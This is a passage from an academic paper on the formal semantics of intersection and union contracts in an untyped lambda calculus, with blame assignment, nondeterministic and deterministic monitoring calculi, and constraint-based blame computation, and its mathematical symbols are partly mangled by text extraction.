happens in a context satisfying D. To appreciate the context part
of the definition consider that λx.x ∈ JC→CK+, in particular for
C = flat(λx.x 6= 0)→ flat(λx.x 6= 0). However, λx.x cannot
guarantee C for its argument if its context does not guarantee C.
The term ((λx.x)(λy.1/y))0 demonstrates such a case.

Equation (6) for satisfaction of intersection corresponds to the
requirement IS2 and Equation (7) for union corresponds to US2.

The set of contexts that respect a contract C is defined by
induction on the structure of C and then coinductively at each level
by the rule set in Figure 5. It relies on context reduction.

Generally, a context that never exercises its hole respects all
contracts. Rule P-IRRED covers all the cases where context reduc-
tion gets stuck before the hole gets involved in a reduction—the
exempted cases are covered by other rules. Irreducible contexts
include the empty context � and contextual values V .

Rule P-REDUCE closes respecting contexts under reduction. Its
coinductive interpretation guarantees that contexts that diverge
before the hole gets involved respect all contracts. P-STUCK covers
the case where an application of a value V to an argument involving
a hole cannot reduce because V is not a function.

Rule P-EXPAND treats the case where the hole is involved as part
of the argument in a beta-reduction. Before explaining the general
rule, it is easier to first consider two special cases of P-EXPAND

where x occurs at most once in the body M of the function.
If x does not occur free in M , then L[(λx.M)�] ∈ JCK−

because the subject disappears on reduction and cannot be exercised
further on. In this case, the premise of P-EXPAND is vacuously true
because there is no contextM such that λx.M = λx.M[x].
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If x occurs exactly once in M , then the composed context
E[M[A]] must be satisfying. In this case,M does not contain free
occurrences of x so that the substitutionM{x := A[V ]} =M has
no effect in rule P-EXPAND.

Otherwise, the rule requires that each occurrence of x in λx.M
that is bound by the lambda gives rise to a contract respecting
context for all values V substituted for the remaining occurrences
of x. As an example, consider checking whether the context E =
(λx.N xx)� respects contract C→D. Thus, we want to ensure
that (λx.N xx) [W @ (C → D)] does not raise negative blame.
Now the latter term reduces to N (W @(C→D)) (W @(C→D))
so to ensure that E ∈ JC → DK− it must be the case that both
N � (W @ (C→D)) ∈ JC→DK− and N (W @ (C→D))� ∈
JC→DK−. AsW@(C→D) can be an arbitrary value that satisfies
C→D, which cannot be generated from the existing context E,
the rule P-EXPAND quantifies over all values V and asks that each
N �V ∈ JC→DK− and N V � ∈ JC→DK−.

The remaining rules are inductive and address specific forms of
contract. Every evaluation context fulfills a flat contract as expressed
by rule P-FLAT. Rule P-OP considers the case where the hole is an
argument of a built-in operation. As such an operation never invokes
its arguments, this context respects any function contract. Rule
P-APPLY is the archetypal context respecting C→D that applies
the subject to an argument satisfying C and puts it in a context
satisfying D.

An evaluation context respects a union contract C ∪ D if it
respects both C and D according to rule P-UNION. An elimination
context F respects an intersection contract C ∩D if it respects C
or D as codified in rules P-INTER-L and P-INTER-R.

This semantics of contract satisfaction and contract respect is
not computable, in general. Fortunately, the non-computability
is not an issue for the contract monitoring application that we
have in mind. First, there are many special cases involving flat
contracts, for example, that are decidable. But more importantly,
our foremost goal is finding contract violations! Such a violation is
a concrete, computable evidence that a subject (context) does not
satisfy (respect) a contract. Such evidence can be constructed by
the contract monitor specified in Section 4, after establishing some
basic metatheoretical properties of contract satisfaction.

3.3 Properties of Contract Satisfaction
We start with some easy consequences of the semantics definition.
Proposition 3 is needed for contract normalization in Section 4.2.
We write LLM for the set ranged over by metavariable L.

Proposition 1. Jflat(M)K− = LLM

Proposition 2. JC ∪DK− = JCK− ∩ JDK−.

Proposition 3. JC0 ∩ (C ∪D)K− = J(C0 ∩ C) ∪ (C0 ∩D)K−.

Due to the untyped setting of our calculus, the semantics of
a contract may contain some unexpected expressions. One key
observation is that an expression that does not reduce to a value
(including expressions that diverge or get stuck) fulfills any contract.

Proposition 4. Suppose that M 6−→∗ V . Then M ∈ JCK+.

Dually, a context that does not reduce to an evaluation context
respects any contract.

Proposition 5. Suppose that L 6−→∗ E. Then L ∈ JCK−.

Furthermore, any subject fulfills a flat contract whose “predicate”
expression does not evaluate to a function.

Proposition 6. If N 6−→∗ λx.M , then ∀L: L ∈ Jflat(N)K+.

An expression that does not evaluate to a function fulfills any
function contract.

M,N += M @b C || V @ι check(M) | blame[

I, J ::= flat(M)
Q,R ::= C→D | Q ∩R
U, V,W += || V @ι Q
b ::= [ || ι

E += E @b C || V @ι check(E)
K ::= � | K ∩D | Q ∩ K

κ ::= [J(ι) | bJ(W ) | bJ(ι→ ι) | bJ(ι ∪ ι) | bJ(ι ∩ ι)
ς ::= · | κ : ς

The nondeterministic calculus requires two further extensions.

M,N += || 〈M 8κ N〉
E += || 〈E 8κ N〉 | 〈M 8κ E〉

Figure 6. Syntax extension for λCon
V

Proposition 7. If L 6−→∗ λx.M , then L ∈ JC→DK+.

The semantics of contracts is closed under reduction.

Proposition 8 (Closure under reduction).

1. If M −→ N and M ∈ JCK+, then N ∈ JCK+.
2. IfM−→ N andM∈ JCK−, thenN ∈ JCK−.

The semantics satisfies all requirements from Section 2.2 and 2.3.

Theorem 1. The semantics for subject and context satisfaction
fulfill IS0, IS1, IS2, IC2, US0, US1, US2, and UC2.

Our intuitions about intersections and unions of flat contracts are
supported by straightforward calculation with the semantics.

Theorem 2. For all L and N :

1. Jflat(λx.L) ∩ flat(λx.N)K+ = Jflat(λx.L ∧N)K+

2. Jflat(λx.L) ∪ flat(λx.N)K+ = Jflat(λx.L ∨N)K+

3.4 Discussion
At first sight, our semantics may seem very liberal because terms
that diverge or get stuck are contained in the satisfaction semantics
JCK+ of any contract (Proposition 4). But this design just reflects
that neither diverging computations nor errors are observable. It
would be easy to implement another point of view in our calculus
by mapping errors in primitive operations to newly introduced error
constants and by making them total and strict in errors.

Several contract systems check that the subject of a function
contract is indeed a function, whereas our semantics accepts any
non-function as satisfying any function contract (Proposition 7).
However, the function contract C 7→ D that first checks its subject
to be a function may be implemented as syntactic sugar with an
intersection contract:

C 7→ D := flat(isFunction) ∩ (C→D)

This implementation cleanly separates the first-order part of the
contract from its higher-order part up front, which happens under
the rug in implemented systems.

4. Contract Monitoring
This section extends the base calculus λV to a calculus λCon

V , which
serves as a nondeterministic specification for contract monitoring.
We deliberately present the nondeterministic version because it is
easier to understand and because it enables us to prove the properties
of the calculus in Section 6 whereas the proof details become too
complex when addressing the deterministic version directly.
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ACTIVATE ς, E[V @[ C] −→ [J(ι) : ς, E[V @ι C] ι 6∈ ς
LEFT ς, E[V @ι (K[I] ∩D)] −→ ιJ(ι1 ∩ ι2) : ς, E[(V @ι1 I) @ι2 K[D]] ι1, ι2 6∈ ς
RIGHT ς, E[V @ι (Q ∩ K[I])] −→ ιJ(ι1 ∩ ι2) : ς, E[(V @ι1 I) @ι2 K[Q]] ι1, ι2 6∈ ς
N-UNION ς, E[V @ι (K[C ∪D])] −→ ιJ(ι1 ∪ ι2) : ς, E[〈V @ι1 K[C] 8ιJ(ι1∪ι2) V @ι2 K[D]〉] ι1, ι2 6∈ ς

I-FLAT ς, E[V @ι flat(M)] −→ ς, E[V @ι check(M V )]
I-UNIT ς, E[V @ι check(W )] −→ ιJ(W ) : ς, E[V ]

N-FUN ς, E[(V @ι (C→D))W ] −→ ιJ(ι1→ ι2) : ς, E[(V (W @ι1 C)) @ι2 D] ι1, ι2 6∈ ς
N-INTER ς, E[(V @ι (Q ∩R))W ] −→ ιJ(ι1 ∩ ι2) : ς, E[〈(V @ι1 Q)W 8ιJ(ι1∩ι2) (V @ι2 R)W 〉] ι1, ι2 6∈ ς

D-CON-OP
U ::= K | λx.M

ς,E[O(~U(V @ι Q) ~W )] −→ ς, E[O(~UVW )]

I-BASE
M −→ N

ς,M −→ ς,N

D-SPLIT-APP
ς, E[〈L 8κM〉N ] −→ ς, E[〈LN 8κM N〉]

D-APP-SPLIT
ς, E[V 〈L 8κM〉] −→ ς, E[〈V L 8κ V M〉]

D-SPLIT-OP

ς, E[O(~U〈L 8κM〉 ~M ] −→ ς, E[〈O(~UL ~M) 8κ O(~UM ~M)〉]

D-SPLIT-CHECK
ς, E[V @ι check(〈L 8κM〉)] −→ ς, E[〈V @ι check(L) 8κ V @ι check(M)〉]

D-SPLIT-CON

ς, E[〈L 8κM〉@b C] −→ ς, E[〈L@b C 8κM @b C〉]
I-SPLIT-COLLAPSE
ς, E[〈M 8κM〉] −→ ς, E[M ]

Figure 7. Dynamics of λCon
V

4.1 Additional Syntax
Figure 6 defines the syntax of λCon

V as an extension of λV in two
steps. The first step introduces constructs for contract monitoring in
general. The second step adds the interleaving expression specific to
nondeterministic monitoring. Intermediate terms that do not occur
in source programs appear after double bars “||”.

The only new source term is contract monitoring M @b C. Its
adornment b is drawn from an unspecified denumerable set of blame
identifiers, which comprises blame labels [ that occur in source
terms and blame variables ι that are introduced during evaluation.

In the intermediate term V @ι check(M), the term M represents
the current evaluation state of the predicate of a flat contract. The
blame[ expression signals a contract violation at label [. The two
subcontracts of intersection and union contracts are monitored
independently using the interleaving expression 〈M 8κ N〉. The
superscript κ is the constraint generated on introduction of the
interleaving and indicates whether the interleaving stands for an
intersection or for a union.

To specify the dynamics, we refine the syntax of contracts.
Contracts I and J stand for immediate, flat contracts that can
be evaluated right away. A delayed contract, Q or R, is a finite
intersection of function contracts. It stays with a value until it is used.
Consequently, values are extended with V @ι Q which represents a
value wrapped in a delayed contract that is to be monitored when the
value is used in an elimination context (e.g., on function application).

The extended set of values forces us to revisit the built-in
operations. We posit that each partial function δO first erases
all contract monitoring from its arguments, then processes the
underlying λV -values, and finally returns a λV -value.

Evaluation contexts are extended in the obvious way: a contract
monitor is only applied to a value and a flat contract is checked
before its value is used. To reflect the independence of monitoring
subcontracts of intersections and unions, interleavings reduce non-

deterministically: each evaluation step may choose to reduce the left
or right component.

Contract contexts K are needed for normalizing nested appli-
cations of intersection and union contracts. They are explained in
Section 4.2.

In λCon
V , contract monitoring occurs via constraints κ imposed

on blame identifiers. There is an indirection constraint and one kind
of constraint for each kind of contract: flat, function, intersection,
and union. Constraints are collected in a list ς during reduction.

4.2 Reduction
Figure 12 specifies the small-step reduction semantics of λCon

V

as a relation ς,M −→ ς ′, N on pairs of a constraint list and
an expression. Instead of raising blame exceptions, the rewriting
rules for contract enforcement generate constraints in ς: a failing
contract must not raise blame immediately, because it may be nested
in an intersection or a union. The sequence of elements in the
constraint list reflects the temporal order in which the constraints
were generated during reduction. The latest, youngest constraints
are always on top of the list. Section 4.3 explains the semantics of
the constraints and Section 4.3.2 explains the role of the temporal
order for the semantics.

The rule ACTIVATE introduces a fresh name for each new instan-
tiation of a monitor in the source program. It is needed for technical
reasons to establish the simulation relation with the deterministic
version of the semantics.

The first group of rules LEFT, RIGHT, and N-UNION implements
contract normalization. Normalization has two purposes. Rules
LEFT and RIGHT factorize a contract into an immediate part I and
a rest contract. The idea is that a flat contract I that is nested
only in intersections (cf. the constraint context K) may be pulled
out and checked directly. The logical justification for these rules
is associativity of intersection (and union): for instance, JK[I] ∩
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DK+ = JI ∩ K[D]K+; so their satisfaction semantics stays the
same. Both rules also install constraints that combine the contract
satisfaction of the subcontracts to the satisfaction of the intersection.

The N-UNION rule embodies the introduction-site choice of the
union. If the current contract has the form K[C ∪D] (i.e., a union
nested in a context of intersections), then the union is pulled out
by distributivity (Proposition 3) resulting in K[C] ∪ K[D]. Then
the expression is split to monitor K[C] and K[D] in isolation and a
constraint is installed to combine the outcomes of monitoring K[C]
and K[D] according to US2 and UC2. Thus, for each value with a
union contract, the constraint generated by this rule application is
the single point that chooses between K[C] and K[D].

Flat contracts get evaluated immediately. Rule I-FLAT starts
checking a flat contract by evaluating the predicate M applied to
the subject value V . After predicate evaluation, rule I-UNIT picks
up the result and stores it in a constraint.

The reduction rules N-FUN and N-INTER define the behavior
of a contracted value under function application, that is, in a
particular elimination context. Rule N-FUN handles a call to a
value with a function contract. Different from previous work, the
blame computation is handled indirectly by creating new blame
variables for the domain and range part; a new constraint is added
that transforms the outcome of both portions according to the
specification of the function contract. Rule N-INTER duplicates the
function application for each conjunct to monitor them concurrently
in isolation. The generated constraint serves to combine the results
of the subcontracts. Unlike the union contract, splitting for an
intersection occurs at each use of the contracted value, which
implements the choice of the context.

Built-in operations can “see through” contracts (rule D-CON-OP).
An interleaving may be collapsed nondeterministically if its com-
ponents are equal (IPAIRCOLLAPSE). Finally, reductions of λV are
lifted to λCon

V using rule IBASE. This choice implies that an OP re-
duction only returns a λV value that does not contain contracts.

The rules D-SPLIT-APP, D-APP-SPLIT, D-SPLIT-CON, D-SPLIT-OP,
and D-SPLIT-CHECK deal with occurrences of interleavings in con-
texts where they may hinder other reductions. They nondeterministi-
cally duplicate the immediately surrounding construct.

4.3 Constraints
The dynamics in Figure 12 use constraints to create a structure for
computing positive and negative blame according to the semantics
of subject and context satisfaction, respectively. To this end, each
blame identifier b is associated with two truth values, b.subject and
b.context. Intuitively, if b.subject is false, then the contract b is not
subject-satisfied and may lead to positive blame for b. If b.context
is false, then there is a context that does not respect contract b and
may lead to negative blame for b. But the story is more complicated.

4.3.1 Constraint Satisfaction
A solution µ of a constraint list ς is a mapping from blame identifiers
to records of elements of B = {t, f}, such that all constraints are
satisfied. We order truth values by t @ f and writev for the reflexive
closure of that ordering. Formally, we specify the mapping by

µ ∈ (LbM× {subject, context})→ B

and constraint satisfaction by a relation µ |= ς , which is specified in
Figure 9. In the premisses, the rules apply a constraint mapping µ
to boolean expressions over constraint variables. This application
stands for the obvious homomorphic extension of the mapping.

Every mapping satisfies the empty list of constraints (CS-EMPTY).
The cons of a constraint with a constraint list corresponds to
the intersection of sets of solutions (CS-CONS). The indirection
constraint just forwards its referent (CT-IND).

τ(V ) =


f V = false
τ(W ) V =W @ι Q

t otherwise

Figure 8. Mapping values to truth values

CS-EMPTY
µ |= ·

CS-CONS
µ |= κ µ |= ς

µ |= κ : ς

CT-IND
µ([.subject) w µ(ι.subject) µ([.context) w µ(ι.context)

µ |= [J(ι)

CT-FLAT
µ(b.subject) w τ(V ) µ(b.context) w t

µ |= b J V

CT-FUNCTION
µ(b.subject) w µ(ι1.context∧(ι1.subject⇒ι2.subject))

µ(b.context) w µ(ι1.subject∧ι2.context)
µ |= b J ι1→ ι2

CT-INTERSECTION
µ(b.subject) w µ(ι1.subject∧ι2.subject)
µ(b.context) w µ(ι1.context∨ι2.context)

µ |= b J ι1 ∩ ι2

CT-UNION
µ(b.subject) w µ(ι1.subject∨ι2.subject)
µ(b.context) w µ(ι1.context∧ι2.context)

µ |= b J ι1 ∪ ι2

Figure 9. Constraint satisfaction

In rule CT-FLAT, W is the outcome of the predicate of a flat
contract. The rule sets subject satisfaction to f if W = false and
otherwise to t, where the function τ(·) : LV M→ B translates values
to truth values by stripping delayed contracts (see Figure 8). A flat
contract never blames its context so that b.context is always true.

The rule CT-FUNCTION determines the blame assignment for a
function contract b from the blame assignment for the argument
and result contracts, which are available through ι1 and ι2. Let’s
first consider the subject part. A function f satisfies contract b if it
satisfies its obligations towards its argument ι1.context and if the
argument satisfies its contract then the result satisfies its contract,
too. The first part arises if f is a higher-order function, which may
pass illegal arguments to its function-arguments. The second part is
partial correctness of the function with respect to its contract.

A function’s context (caller) satisfies the contract if it passes
an argument that satisfies contract ι1.subject and uses the result
according to its contract ι2.context. The second part becomes non-
trivial with functions that return functions.

The rule CT-INTERSECTION determines the blame assignment
for an intersection contract at b from its constituents at ι1 and
ι2. A subject satisfies an intersection contract if it satisfies both
constituent contracts: ι1.subject∧ι2.subject (cf. IS2). A context,
however, has the choice to fulfill one of the constituent contracts:
ι1.context∨ι2.context (cf. IC2).

Dually, the rule CT-UNION determines the blame assignment
for a union contract at b from its constituents at ι1 and ι2 ac-
cording to US2 and UC2. A subject satisfies a union contract if
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[

∩

→

Num Num

→

Str Str

(t, f) (t, f) (t, t) (t, t)

(f, t) (t, t)

(t, t)

(t, t)

[

... ∩

→

Num Num

→

Str Str

(t, t) (t, f) (t, f) (t, f)

(t, f) (f, t)

(t, t) (t, f)

(t, f)

Figure 10. Blame calculation for addOne = λx.(x+”1”) with
contract (Num→ Num) ∩ (Str→ Str). The top picture shows the
constraint graph after applying addOne to the string ”1” (first call).
The bottom picture shows the extended graph after applying addOne
to the number 1 (second call). Each node is a constraint. Each edge
is a reference to a blame variable. The labeling next to the arrow
shows the record (context, subject) assigned by the solution of the
underlying constraint list. The root ([) collects the outcome of all
delayed contract assertions.

it satisfies one of the constituent contracts: ι1.subject∨ι2.subject.
A context, however, needs to fulfill both constituent contracts:
ι1.context∧ι2.context, because it does not know which contract is
satisfied by the subject.

Figure 10 illustrates blame calculation with constraints using
the function addOne = λx.(x+”1”) with the contract (Num →
Num) ∩ (Str → Str). After applying addOne to ”1” the contract
(Num → Num) fails and blames the context, whereas the second
contract (Str→ Str) succeeds. Because the context of an intersection
may choose which side to fulfill, the intersection is satisfied.

A second call which applies addOne to 1 leads to blame: Num→
Num fails, blaming the subject, because the result is a string;
Str→ Str fails and blames the context. In this case, the intersection
contract blames the subject because it has to satisfy both contracts.

4.3.2 Solving Constraints
Computing a blame assignment boils down to computing a solution
for a constraint list ς . To this end, we define its dependency graph
DG(ς). Its nodes are blame identifiers and there is an edge from ιk
to b if there is a constraint with b on the left side and ιk on the right
side: bJ(. . . ιk . . .) ∈ ς . An easy induction on reduction sequences
(Figure 12) shows that DG(ς) is always a forest.

Proposition 9. If ∅,M −→∗ ς,N , then DG(ς) is a forest rooted
in the blame labels [.

A least solution LSol(ς) ∈ (LbM × {subject, context}) → B
can be computed for any constraint list ς arising during reduction
by evaluating the constraints for the blame variables in some
topological order consistent with DG(ς). That is, LSol(ς) |= ς
and LSol(ς) v µ for all µ |= ς . Recall that, due to the ordering on

·
[]

((λf.f) @0 ((P → P )→ N)) (λx.− x) 42
(1)−→ 0J(1→2) : ·

[0 7→ (t, t), 1 7→ (t, t), 2 7→ (t, t)]
(((λf.f) ((λx.− x) @1 (P → P ))) @2 N) 42

(2)−→ 0J(1→2) : ·
[0 7→ (t, t), 1 7→ (t, t), 2 7→ (t, t)]

(((λx.− x) @1 (P → P )) @2 N) 42
(3)−→ 2J(ff) : 0J(1→2) : ·

[0 7→ (t, f), 1 7→ (t, t), 2 7→ (t, f)]
((λx.− x) @1 (P → P )) 42

(4)−→ 1J(3→4) : 2J(ff) : 0J(1→2) : ·
[0 7→ (t, f), 1 7→ (t, t), 2 7→ (t, f), 3 7→ (t, t), 4 7→ (t, t)]

((λx.− x) (42 @3 P )) @4 P
(5)−→ 3J(tt) : 1J(3→4) : 2J(ff) : 0J(1→2) : ·

[0 7→ (t, f), 1 7→ (t, t), 2 7→ (t, f), 3 7→ (t, t), 4 7→ (t, t)]
((λx.− x) 42) @4 P

(6)−→ 3J(tt) : 1J(3→4) : 2J(ff) : 0J(1→2) : ·
[0 7→ (t, f), 1 7→ (t, t), 2 7→ (t, f), 3 7→ (t, t), 4 7→ (t, t)]

(−42) @4 P
(7)−→ 4J(ff) : 3J(tt) : 1J(3→4) : 2J(ff) : 0J(1→2) : ·

[0 7→ (f, t), 1 7→ (t, f), 2 7→ (t, f), 3 7→ (t, t), 4 7→ (t, f)]
−42

Figure 11. Example reduction sequence. Each item comprises the
constraint list, its solution (in gray), and the term

B, the function LSol(·) with LSol(·)(b, x) = t is the least element
of (LbM× {subject, context})→ B.

To establish our technical results, we would like to argue that
constraint solutions grow monotonically when the constraint list
is extended. Unfortunately, the least solution LSol(κ : ς) for an
extended constraint list is not always comparable to the solution
LSol(ς) for the original list.

For an example, consider the reduction sequence in Figure 11
where P and N are shorthands for the contracts Pos and Num
and tt and ff stand for true and false. We write the subject part of
the respective least solutions as a mapping from blame variable to
truth value. In the last reduction step (7), the least solution of the
constraint list changes non-monotonically: 0.subject changes from f
to t. If we included the context blame, we would see that at the same
step 0.context changes from t to f: Blame is transferred from the
subject to the context due to the non-monotonicity of implication.

Let’s analyze this baffling situation. When enforcing a function
contract, execution first finds a violation of the range contract—
giving rise to subject blame—and then a violation of the domain
contract—giving rise to context blame. One may argue that a
contract monitor would already raise blame in step (3) when
0.subject flips to f. However, this contract may appear nested in
a union contract so that blaming would be delayed and reduction
would continue as in the above reduction.

Our choice, which we make formal in Section 6, is to follow the
lead of implemented systems (without union and intersection) that
always report the first contract violation. We capture this preference
for the first violation by defining a monotone constraint semantics,
which first cleans the constraint list from later constraints that violate
monotonicity and then takes the least solution.
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Definition 1. The monotone constraint semantics is JςK =
LSol(Clean(ς)) where Clean() : LςM→ LςM is defined by

Clean(·) = ·

Clean(κ : ς) =

{
κ : ς ′ LSol(ς ′) v LSol(κ : ς ′)

ς ′ otherwise
where ς ′ = Clean(ς)

Proposition 10. For all ς and κ, JςK v Jκ : ςK.

The implementation is straightforward: each constraint bJ(. . . )
is only allowed to “fire” once and sets either b.subject or b.context
to f. Afterwards the constraint becomes inactive.

4.3.3 Introducing Blame
To determine whether a constraint list ς is a blame state (i.e.,
whether it should signal a contract violation), we check whether the
semantics JςK maps any source-level blame label [ to false.

Definition 2. ς is a blame state for blame label [ iff

JςK([.subject∧[.context) w f.

ς is a blame state if there exists a blame label [ such that ς is a
blame state for this label.

To model reduction with blame, we define a new reduction
relation ς,M 7−→ ς ′,M ′ on configurations. It behaves like −→
unless ς is a blame state. In a blame state, it stops signaling the
violation. There are no reductions with blame.

ς,M −→ ς ′, N
ς is not a blame state
ς,M 7−→ ς ′, N

ς is blame state for [

ς,M 7−→ ς, blame[

4.3.4 Lifting Definitions
The present section tacitly lifts various semantic notions and results
from λV to the extended calculus λCon

V with monitoring. In this
subsection, we make this lifting precise.

A number of definitions and results in Section 3 refer to reduc-
tion and context reduction in λV . These definitions (semantics of
contracts and the results in Section 3.3) are lifted to λCon

V by taking
M −→ N as a shorthand for ∀ς.∃ς ′.ς,M 7−→ ς ′, N (top-level
reduction with blame). The same lifting applies toM−→ N .

The coinductive definition of JCK− in Figure 5 is extended
with additional rules for the extra syntactic constructs. Most of the
new rules just cater to reductions with a hole in place of the value.
Context reduction needs to be extended, which is a straightforward.

5. Deterministic Monitoring
The calculus λCon

V d provides a deterministic reduction semantics for
contract monitoring. Its syntax is identical to λCon

V , but without the
interleaving expression (i.e., Figure 6 top only). Figure 12 specifies
its one-step reduction relation on expressions. It is surrounded by a
top level reduction ς,M 7−→ ς ′, N that reduces M only if ς is not
a blame state according to Definition 2. Its definition is analogous
to the one in Section 4.3.3

Just like nondeterministic reduction, contract monitoring nor-
malizes contracts before it starts their enforcement. This part of
the rule set is identical to the nondeterministic rules, except for the
rule D-UNION which implements union contracts by enforcing the
contracts in some order instead of interleaving their execution.

The rules I-FLAT and I-UNIT that deal with flat contracts are
identical to the nondeterministic version.

The remaining rules implement monitoring of delayed contracts.
As in λCon

V , the assertion of a delayed contract assumes that the
value is a function and wraps it so that the contract is checked when

the function is applied. The rules D-FUN, D-INTER, and DROP act
when such a wrapped value is applied to an argument W . Compared
to λCon

V , these rules need to take into account the new notion of
compatibility. Roughly, two flat contract executions are compatible
if they belong to the same component of a nested union/intersection.

In λCon
V , execution is compartmentalized by interleave expres-

sions that mimic the nesting of currently active union and intersec-
tion contracts. As we saw in the D-UNION rule, λCon

V d intermingles
the execution of contracts from all compartments. Compatibility of
a contract with its evaluation context is defined such that contracts
from different compartments are never mixed up. We come back to
compatibility after explaining the rules.

The rule D-FUN handles the call of a contracted function. If
differs from the λCon

V -rule N-FUN only in the side condition of
compatibility. Rule D-INTER sequentially applies both contracts in
terms of a new constraint, but only if the intersection is compatible
with the context. Rule DROP drops a delayed contract that is not
compatible with the current evaluation context.

5.1 Compatibility
To illustrate the need for compatibility, we consider the contract

C = ((P 7 →5 P 8)→1 FP6) ∩0 ((N9 →3 Na)→2 FN4) (8)
where P = flat(λx.x > 0)

N = flat(λx.x < 0)
FP = flat(λf.f 1 > 0)
FN = flat(λf.f (−1) < 0)

Semantically, it is clear that

λf.f ∈ JCK+ = J(P → P )→ FPK+ ∩ J(N → N)→ FNK+.

But if we reduce the configuration

·, ((λf.f) @[ C) (λx.x) 42

ignoring the compatibility side conditions on D-FUN and D-INTER

(and omitting rule DROP) then, after a few steps,5 we arrive at a
configuration that blames the subject wrongly:6

3J(9→a) : 7J(true) : 5J(7→8) : 1J(5→6) : . . .
2J(3→4) : 0J(1 ∩ 2) : [J(0) : ·

. . .@6 check((((λx.x) (1 @9 N)) @a N) @8 P > 0) . . .
(9)

Blame is triggered by the next step that reduces (1 @9 N) to 1 and
adds the constraint 9J(false). It is caused by the evaluation of a flat
contract FP on an argument that is wrapped in the function contracts
P → P and N → N . The problem is that the contract N → N
does not belong to the same operand of the intersection as FP and
thus N → N must not be enforced in the body of FP.

We can determine this mismatch by recognizing that the su-
perscript of . . . @6 check(. . . ), belongs to the left component of
0J(1 ∩ 2) whereas the superscript of 1 @9 N belongs to the right
component. We avoid such mismatches altogether by ignoring de-
layed contracts that originate from a different compartment of an en-
closing union or intersection contract. Thus, the D-FUN and D-INTER

rules must verify that all enclosing check(. . . ) expressions in the
evaluation context are compatible with the contract. The companion
rule DROP drops incompatible delayed contracts.

To define compatibility, we first identify the contract component
to which a blame variable belongs. To do so we compute the
unique path from a source-level blame label to the blame variable
in the dependency graph of a constraint list (a forest by Lemma 9).
Each step of a path is drawn from the set Step = {→,∩,∪, ↓} ×
{1, 2}× LιM and denote the left/right (1/2) subcontract of a function,
intersection, or union contract along with the constraint variable at
that position. The symbol ↓ stands for an indirection constraint and
its single subcontract is always at position 1.

5 The full reduction sequence may be inspected in the supplement.
6 Blame variables are chosen to match the superscripts in Equation (8).
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BETA ς, E[(λx.M)V ] −→ ς, E[M [x 7→ V ]]

D-CON-OP ς, E[O(~U(V @b Q) ~W )] −→ ς, E[O(~UV ~W )] U ::= K | λx.M
OP ς, E[O(~V )] −→ ς, E[δO(~V )] V ::= K | λx.M,

~V ∈ dom(δO)
ACTIVATE ς, E[V @[ C] −→ [J(ι) : ς, E[V @ι C] ι 6∈ ς
LEFT ς, E[V @ι (K[I] ∩D)] −→ ιJ(ι1 ∩ ι2) : ς, E[(V @ι1 I) @ι2 K[D]] ι1, ι2 6∈ ς
RIGHT ς, E[V @ι (Q ∩ K[I])] −→ ιJ(ι1 ∩ ι2) : ς, E[(V @ι1 I) @ι2 K[Q]] ι1, ι2 6∈ ς
D-UNION ς, E[V @ι (K[C ∪D])] −→ ιJ(ι1 ∪ ι2) : ς, E[(V @ι1 K[C]) @ι2 K[D]] ι1, ι2 6∈ ς

I-FLAT ς, E[V @ι flat(M)] −→ ς, E[V @ι check(M V )]
I-UNIT ς, E[V @ι check(W )] −→ ιJ(W ) : ς, E[V ]

D-FUN ς, E[(V @ι (C→D))W ] −→ ιJ(ι1→ ι2) : ς, E[(V (W @ι1 C) @ι2 D] ι1, ι2 6∈ ς, compς(E, ι)
D-INTER ς, E[(V @ι (Q ∩R))W ] −→ ιJ(ι1 ∩ ι2) : ς, E[((V @ι1 Q) @ι2 R)W ] ι1, ι2 6∈ ς, compς(E, ι)
DROP ς, E[(V @ι Q)W ] −→ ς, E[V W ] ¬compς(E, ι)

Figure 12. Operational semantics of λCon
V d; reductions in gray are identical to λCon

V reductions

comp(ε, ρ) comp(π, ε)
ι1 6= ι2

comp((↓, 1, ι1).π, (↓, 1, ι2).ρ)

ι1 6= ι2 i1, i2 ∈ {1, 2}
comp((→, i1, ι1).π, (→, i2, ι2).ρ)

comp(π, ρ)
comp((♦, i, ι).π, (♦, i, ι).ρ)

Figure 13. Compatibility of paths

Definition 3. Define Path(ς, b) ⊆ Step+ by induction on the length
of the unique path in DG(ς) from b to a root [.

Path(ς, b) =


(↓, 1, [) b = [

Path(ς, b0).(↓, 1, ι) b0J(ι) ∈ ς, b = ι

Path(ς, b0).(♦, i, b) b0J(ι1♦ι2) ∈ ς, b = ιi,

i ∈ {1, 2},♦ ∈ {→,∩,∪, ↓}

Let ς∗ be the final state of the reduction sequence in (9) and
consider the paths that belong to the blame variables 6 on the check()
and 9 on the flat contract that triggers the failure.

Path(ς∗, 6) = (↓, 1, [).(↓, 1, 0).(∩, 1, 1).(→, 2, 6)
Path(ς∗, 9) = (↓, 1, [).(↓, 1, 0).(∩, 2, 2).(→, 1, 3).(→, 1, 9)

The paths clearly indicate that the two blame variables belong to
different operands of the same intersection and thus are incompatible.
It remains to formally define compatibility.

Definition 4. Two paths π, ρ ∈ Step∗ are compatible if comp(π, ρ)
is derivable from the set of inductive rules in Figure 13.

Two blame identifiers are compatible with respect to a constraint
list ς if the corresponding paths are compatible:

compς(b1, b2) = comp(Path(ς, b1),Path(ς, b2)).

An evaluation context is compatible with a blame identifier,
compς(E, b), if b is compatible with all blame identifiers of the
check expressions traversed inE as defined by the rules in Figure 14.

Two paths are compatible if one is a prefix of the other or if they
have a common prefix and then proceed with different indirections
or with different subcontracts of a function contract. The rationale
is that different indirections are created for different instantiations
of the same contract: different instantiations are independent of one

compς(�, b)
compς(E, b)

compς(O(~V E ~M), b)

compς(E, b)
compς(EM, b)

compς(E, b)
compς(V E, b)

compς(E, b)

compς(E @b0 C, b)

compς(E, b) compς(b, b0)

compς(V @b0 check(E), b)

Figure 14. Compatibility with an evaluation context

another so that these instantiations may interact arbitrarily. Similarly,
the domain and the range part of a function contract are independent
and their (sub-) contracts may interact arbitrarily.

Compatibility with an evaluation context must consider all
pending contract checks because compatibility is not transitive.

Proposition 11. Compatibility of blame identifiers is reflexive and
symmetric, but not transitive.

5.2 Simulation
The nondeterministic semantics of λCon

V and the deterministic se-
mantics of λCon

V d are related by a simulation relation. Whenever the
deterministic semantics makes a step, then this evaluation step can
be simulated in the nondeterministic semantics in zero or more steps.
For lack of space, we defer the technical details of the simulation
relation ς `M �B M ′ to the supplement. The relation is indexed
by a constraint list ς and a set B of blame variables that indicate the
path to the current compartment. An expression is value-inactive if
no value subexpression contains a split expression. To distinguish
the reduction relations, we prime all deterministic reductions.

Theorem 3. Suppose that M is a value-inactive, closed expression,
ς ` M �∅ M ′, and ς,M ′ −→′ ς ′, N ′. Then there exist N and ς ′

